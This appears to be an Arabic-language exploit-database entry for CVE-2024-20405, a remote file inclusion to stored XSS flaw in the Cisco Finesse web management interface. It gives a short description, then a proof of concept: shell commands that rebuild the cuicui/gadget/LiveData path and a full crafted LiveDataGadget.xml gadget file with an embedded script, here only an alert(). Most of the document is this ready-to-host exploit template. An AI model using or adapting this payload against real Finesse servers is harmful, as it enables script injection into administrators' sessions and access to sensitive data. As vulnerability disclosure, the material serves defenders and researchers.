الوصف

يمكن لثغرة أمنية في واجهة الإدارة المستندة إلى الويب لـ Cisco Finesse أن تسمح لمهاجم غير مصدق عن بُعد بتنفيذ هجوم XSS مخزن عبر استغلال ثغرة RFI. تنشأ هذه الثغرة بسبب عدم كفاية التحقق من صحة المدخلات التي يقدمها المستخدم لطلبات HTTP محددة يتم إرسالها إلى الجهاز المتأثر. يمكن للمهاجم استغلال هذه الثغرة بإقناع المستخدم بالنقر على رابط مٌصنّع. قد يسمح الاستغلال الناجح للمهاجم بتنفيذ تعليمات برمجية عشوائية في سياق الواجهة المتأثرة أو الوصول إلى معلومات حساسة على الجهاز المتأثر.

إثبات المفهوم (PoC)

أنشئ مسارًا كاملاً يطابق نفس المسار الخاص بالمخطط الأصلي.

mkdir cuicui && mkdir cuicui/gadget && mkdir cuicui/gadget/LiveData

أنشئ ملف تكوين "LiveDataGadget.xml" يحتوي على تعليمات برمجية خبيثة ليتم تشغيلها عند استدعاء الملف.

nano cuicui/gadget/LiveData/LiveDataGadget.xml

<?xml version="1.0" encoding="UTF-8" ?>

<Module>

<ModulePrefs title="__MSG_default_gadget_title__" height="0" >
    <Require feature="pubsub-2" />
    <Require feature="settitle" />
    <Require feature="setprefs" />
    <Require feature="dynamic-height" />
    <Require feature="views" />
    <Optional feature="content-rewrite">
        <!-- these files will be directly served by cuic, not through shindig -->
        <Param name="exclude-url">cuicui/gadget/report-gadget.min.js</Param>
        <Param name="exclude-url">cuicui/gadget/report-gadget.min.css</Param>
        <Param name="exclude-url">desktop/assets/js/finesse.min.js</Param>
        <Param name="exclude-url">desktop/scripts/js/ccbu-third-party.min.js</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff</Param>
      <Param name="exclude-url">desktop/scripts/fonts/CiscoSansTTRegular.woff</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff2</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.eot</Param>
    </Optional>
   
</ModulePrefs>

    <UserPref name="scheme" display_name="scheme" default_value=""/>
    <UserPref name="host" display_name="host" default_value=""/>
    <UserPref name="hostPort" display_name="hostPort" default_value=""/>

  <Content type="html" view="default,canvas">
   
    <![CDATA[
    <!DOCTYPE html>
    <head>
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta charset="UTF-8" />
        <script type="text/javascript">
            alert("From RFI To XSS")
        </script>
    </head>

    <body class="claro" >
    <h1>Cisco Finesse v12.6</h1>
    </body>
    ]]>
  </Content>
</Module>

CVE-2024-20405

الأكثر شعبية

المراجع

إخلاء مسؤولية